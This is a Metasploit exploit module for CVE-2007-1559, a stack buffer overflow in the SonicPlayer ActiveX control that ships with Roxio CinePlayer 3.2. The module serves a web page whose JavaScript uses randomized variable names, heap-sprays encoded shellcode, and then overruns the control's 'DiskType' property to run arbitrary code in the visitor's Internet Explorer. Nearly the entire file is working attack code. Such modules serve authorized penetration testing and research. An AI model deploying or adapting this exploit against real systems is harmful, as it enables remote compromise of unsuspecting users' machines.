##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Roxio CinePlayer ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in SonicPlayer ActiveX
        control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.
        By setting an overly long value to 'DiskType', an attacker can overrun
        a buffer and execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
      'References'     =>
        [
          [ 'CVE', '2007-1559' ],
          [ 'OSVDB', '34779' ],
          [ 'BID', '23412' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ]
        ],
      'DisclosureDate' => 'Apr 11 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x40000
    fillto    = 500
    offset 	  = target['Offset']

    # Randomize the javascript variable names
    sonic	     = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    j_ret        = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content = %Q|
<html>
<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='#{sonic}'></object>
<script language='javascript'>
  #{j_shellcode}=unescape('#{shellcode}');
  #{j_nops}=unescape('#{nops}');
  #{j_headersize}=20;
  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
  #{j_memory}=new Array();
  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
  #{j_ret}='';
  for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
  #{sonic}.DiskType(#{j_ret});
</script>
</html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
